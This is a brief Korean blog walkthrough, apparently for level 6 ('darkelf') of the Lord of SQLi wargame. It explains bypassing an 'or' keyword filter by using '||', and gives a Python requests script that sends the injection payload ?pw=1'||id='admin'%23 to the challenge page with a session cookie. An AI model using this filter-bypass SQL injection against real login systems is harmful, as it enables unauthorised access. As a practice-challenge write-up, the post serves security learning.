WarGame/LOS
6. LOS - darkelf
m0nd2y
2018. 8. 5. 08:15
LOS 6번 darkelf입니다.
소스코드를 확인하면 다음과 같습니다.
이전거와 달라진점을 찾는다면 or이 ban먹었습니다.
전에 알려준 두번째 방법처럼 or -> ||으로 바꾸면 필터링을 넘어가게 됩니다!
페이로드입니다 :)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import requests import string URL = "http://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php" payload = "?pw=1'||id='admin'%23" URL += payload cookies = dict(PHPSESSID="dvs710ccqajrn9434hc3a00r11") response = requests.get(URL, cookies = cookies) print(response.text) if response.text.find("Clear!") > 0 : for i in range(1,10) : print("Sooooooooooooooolve iT! (Grin)") | cs |